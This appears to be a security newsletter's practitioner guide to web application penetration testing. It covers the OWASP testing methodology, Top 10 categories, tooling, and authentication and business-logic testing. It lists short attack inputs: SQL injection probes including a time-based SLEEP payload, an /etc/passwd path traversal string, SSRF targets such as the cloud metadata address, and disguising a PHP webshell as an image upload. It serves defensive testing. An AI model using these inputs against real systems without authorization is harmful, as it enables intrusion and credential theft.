Web Application Security Testing: A Practitioner Guide
Web application security testing is the practice of systematically probing a web application for security vulnerabilities before attackers find them. Automated scanners (DAST tools) find known vulnerability patterns quickly but miss business logic flaws, authentication bypasses unique to application design, and access control weaknesses that require understanding the application's intended functionality. Manual testing by a skilled tester, guided by a structured methodology like the OWASP Testing Guide, finds the vulnerabilities that matter most — the ones automated tools cannot detect. This guide covers the testing methodology, core vulnerability categories, toolchain, and how to structure web application security testing for both assessments and continuous security.
Testing Methodology: The OWASP Testing Guide
The OWASP Web Security Testing Guide (WSTG) provides the most comprehensive methodology for web application security testing. It organizes testing into 12 categories covering the full application attack surface.
Information gathering
Enumerate the application's technology stack (web server, framework, language, database), identify entry points (forms, parameters, file uploads, API endpoints), map the application structure, and identify authentication mechanisms. Information gathering drives the rest of testing — different technology stacks have different vulnerability profiles.
Authentication testing
Test all authentication flows: default credentials, brute force protection, lockout bypass, forgot password weakness, MFA bypass, session token security, and OAuth/OIDC implementation flaws. Authentication weaknesses are among the highest-impact findings.
Authorization testing
Test whether the application correctly enforces access controls. Horizontal privilege escalation (accessing another user's data): change user ID parameters to other users' IDs. Vertical privilege escalation (accessing admin functionality as a regular user): directly access admin URLs without admin role. Broken Object Level Authorization (BOLA/IDOR) is the most common access control failure.
Session management testing
Test session token entropy (are tokens guessable?), session fixation, session invalidation after logout, concurrent session handling, and secure/httpOnly cookie attributes. A predictable session token allows session hijacking without any other vulnerability.
Input validation testing
Test all input fields for injection vulnerabilities: SQL injection, XSS (reflected, stored, DOM-based), command injection, XXE, SSTI, and path traversal. Include non-obvious input vectors: HTTP headers, cookies, JSON/XML parameters, file names, and URL fragments.
Business logic testing
Test application-specific workflows for logic flaws: can you purchase items at negative price, skip payment steps, reuse single-use discount codes, bypass file upload restrictions by changing content-type headers, or exceed intended limits? Business logic vulnerabilities are entirely application-specific and cannot be found by automated scanners.
OWASP Top 10: The Critical Vulnerability Categories
The OWASP Top 10 (2021 edition) defines the most critical web application vulnerability categories. Testing must cover all ten.
A01 — Broken Access Control
The most common web vulnerability. Test: IDOR (Insecure Direct Object Reference) — change IDs in requests to other users'; force browsing to unauthorized URLs; test horizontal and vertical privilege escalation; test missing function-level access control on admin features. Every application has access control vulnerabilities — the question is how severe.
A02 — Cryptographic Failures
Sensitive data exposed due to weak or missing cryptography. Test: is sensitive data (PII, payment data, credentials) transmitted in cleartext? Are passwords stored with weak hashing (MD5, SHA1 without salt)? Are session tokens or sensitive data in cleartext cookies? Is HTTPS enforced with HSTS?
A03 — Injection
SQL, NoSQL, LDAP, OS command, and SSTI injection. Test all input fields, HTTP headers, and URL parameters. For SQL injection: use single quote (') to trigger errors, UNION-based extraction, blind boolean and time-based injection. Use sqlmap for automated detection after manual confirmation.
A05 — Security Misconfiguration
Default credentials, unnecessary features enabled, verbose error messages, missing security headers, CORS misconfiguration, and cloud storage misconfiguration. Test: directory listing, default admin pages, HTTP security headers (CSP, X-Frame-Options, X-Content-Type-Options), and CORS policy.
A07 — Authentication Failures
Weak credential requirements, missing brute force protection, insecure forgot-password flows, plaintext password storage, and session management failures. Test every authentication flow including SSO, OAuth callbacks, and password reset tokens.
A10 — Server-Side Request Forgery (SSRF)
Occurs when the server fetches a user-supplied URL. Test: change URL parameters to internal addresses (169.254.169.254 for cloud metadata, localhost:22, internal services). SSRF can expose cloud credentials, internal service data, and enable lateral movement from the web server.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Toolchain: Burp Suite and Essential Tools
Effective web application testing requires an intercepting proxy and a suite of specialized tools. Burp Suite Professional is the industry standard.
Burp Suite Professional
The primary web application testing tool. Core capabilities: intercepting proxy (inspect and modify all browser traffic), Repeater (manually craft and replay HTTP requests), Intruder (automated fuzzing and brute force), Scanner (automated vulnerability detection), Sequencer (session token entropy analysis), and Decoder. Burp's extension ecosystem (BApp Store) adds capabilities: Param Miner (hidden parameter discovery), Turbo Intruder (high-speed fuzzing), Active Scan++ (extended scanner checks). Burp Community edition is free but lacks the scanner and rate-limited Intruder.
OWASP ZAP
Free, open source alternative to Burp Suite. ZAP's active scanner is less accurate than Burp's but is freely available and well-integrated with CI/CD pipelines for automated DAST. ZAP HUD (Heads Up Display) provides inline testing feedback in the browser. Better suited for automated scanning in pipelines than manual testing sessions.
Nuclei
Template-based vulnerability scanner with thousands of community templates covering CVEs, misconfigurations, exposed panels, and OWASP vulnerabilities. Nuclei is fast and extensible — custom templates can be written for application-specific checks. Useful for bulk scanning and reconnaissance before deeper manual testing.
ffuf / feroxbuster
Web content and directory discovery tools. Used to find hidden endpoints, backup files, admin interfaces, and configuration files not linked from the application. Essential for information gathering phase. Input wordlists: SecLists provides extensive lists of common paths, file names, and parameters.
SQLMap
Automated SQL injection detection and exploitation. After manually confirming SQL injection is possible, SQLMap automates extraction of database contents. Use SQLMap with the request file from Burp (--request flag) to test the exact HTTP request, including cookies and custom headers, that the manual test confirmed was vulnerable.
Authentication and Session Testing Deep Dive
Authentication flaws are among the highest-impact vulnerabilities because they affect all users and may bypass all other access controls.
Password reset flow testing
Common flaws: predictable reset tokens (numeric or timestamp-based), reset token not expiring after use, reset token valid for too long (> 15-30 minutes), username enumeration through different response messages (user found vs. not found), and host header injection in password reset emails (changing the application URL in the reset link to an attacker-controlled domain).
MFA bypass techniques
Test: bypassing MFA by navigating directly to post-authentication URLs without completing the MFA step; MFA code not expiring after one use (code reuse); MFA code brute force without lockout (6-digit TOTP has only 1,000,000 possibilities); and response manipulation (changing 'mfa_required: true' to 'false' in intercepted responses).
OAuth and SSO testing
OAuth vulnerabilities: open redirect in redirect_uri parameter (steal authorization code), state parameter missing or not validated (CSRF against OAuth flow), authorization code reuse, and scope manipulation (requesting broader scopes than the application needs). SAML: XML signature wrapping, base64-decoded assertion modification, missing signature verification.
Session token analysis
Collect 100+ session tokens and analyze for patterns: fixed portions (revealing encoding scheme), predictability (sequential IDs or timestamp-based tokens), and entropy. Burp Sequencer provides statistical analysis of session token randomness. Tokens with less than 128 bits of effective entropy are potentially predictable.
Business Logic Testing
Business logic vulnerabilities are application-specific flaws in the intended workflow. No tool can find them — they require an analyst who understands what the application is supposed to do.
Price and quantity manipulation
In e-commerce applications: change price parameters in POST requests, use negative quantities, apply discount codes multiple times, bypass minimum order requirements, and tamper with shipping cost calculations. Applications that trust client-supplied price or quantity values are vulnerable.
Workflow bypass
Test whether multi-step workflows can be bypassed by navigating directly to later steps. Example: step 1 is credit card entry, step 2 is confirmation, step 3 is order placement. Can you navigate directly to step 3 without completing step 1? Workflow bypass enables order placement without payment in payment-bypassed e-commerce applications.
Race conditions
When a one-time operation (single-use coupon, limited inventory purchase, gift card redemption) relies on a sequence of read-check-write operations, concurrent requests may all pass the check before any write completes. Test: send multiple simultaneous requests using Burp's Turbo Intruder or the race condition extension for operations that should only succeed once.
File upload abuse
Test file upload functionality for: upload of executable files by changing MIME type or extension (upload a PHP webshell as image.jpg with Content-Type: image/jpeg), path traversal in file names (../../../etc/passwd), XXE via SVG or XML file upload, and serving uploaded files from the application domain (stored XSS via SVG).
The bottom line
Web application security testing requires combining automated scanning for known vulnerability patterns with structured manual testing for business logic flaws, authentication weaknesses, and access control gaps that tools cannot find. The OWASP Testing Guide provides the methodology; Burp Suite provides the tooling; and understanding the application's intended behavior provides the context needed to find the flaws that matter most. Testing in isolation produces findings; testing integrated into the SDLC with clear remediation SLAs produces secure applications.
Frequently asked questions
What is the OWASP Testing Guide?
The OWASP Web Security Testing Guide (WSTG) is a comprehensive methodology for web application security testing published by the Open Web Application Security Project. It organizes testing into 12 categories covering the full application attack surface: information gathering, configuration management, identity management, authentication, authorization, session management, input validation, error handling, cryptography, business logic, client-side testing, and API testing. The WSTG is the industry standard methodology used by professional web application penetration testers.
What is the difference between DAST and manual web application testing?
DAST (Dynamic Application Security Testing) tools automatically scan running applications for known vulnerability patterns — SQL injection, XSS, known CVEs, misconfigurations. They are fast and scalable but miss business logic flaws, authentication bypasses specific to the application's design, and access control weaknesses that require understanding intended functionality. Manual testing by a skilled tester finds what DAST misses. Research shows manual testing discovers approximately twice as many vulnerabilities as automated scanning alone. Both are needed for comprehensive coverage.
What is IDOR (Insecure Direct Object Reference)?
IDOR is an access control vulnerability where an application uses user-controllable parameters to directly access objects (records, files, resources) without verifying the requesting user's authorization. Example: a URL like /account?user_id=1234 where changing the user_id to another user's ID returns that user's account data. IDOR is the top-ranked vulnerability in OWASP Top 10 2021 (A01 Broken Access Control) and is consistently the most common finding in web application security testing.
Why is Burp Suite the standard tool for web application testing?
Burp Suite Professional provides an integrated toolchain for manual web application testing: an intercepting proxy that captures and allows modification of all browser traffic, a Repeater for crafting custom requests, an Intruder for fuzzing, a Scanner for automated detection, and a Sequencer for session token analysis. The combination of manual and automated capabilities in a single integrated tool, with a rich extension ecosystem, makes it significantly more effective for manual testing than standalone tools. PortSwigger's Web Security Academy provides free training that makes Burp Suite accessible to testers at all skill levels.
What are business logic vulnerabilities and why are they hard to find?
Business logic vulnerabilities are flaws in the application's workflow or rules rather than technical implementation errors. Examples: purchasing items at negative prices, redeeming single-use discount codes multiple times, bypassing multi-step checkout flows by navigating directly to later steps, and exploiting race conditions in limited-inventory purchases. They are hard to find because automated scanners do not understand application-specific business rules — a scanner cannot know that a price should always be positive or that a coupon code should only be used once. Finding them requires an analyst who understands the application's intended behavior and tests whether that intent is enforced.
How do you test for SQL injection?
Manual SQL injection testing: submit a single quote (') in input fields and observe for database error messages, which confirm the input is interpreted as SQL. For blind SQL injection (no error message): use boolean conditions (AND 1=1 vs AND 1=2) and observe response differences, or use time-based payloads (AND SLEEP(5)) and measure response time. After manually confirming SQL injection is possible in a specific parameter, use SQLMap with the vulnerable request exported from Burp (--request flag) to automate database extraction. Always confirm manually before running SQLMap — false positives from automated scanners waste time on non-vulnerable parameters.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, weekly, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals weekly.
The Mythos Brief is free.
AI that finds 27-year-old zero-days. What it means for your security program.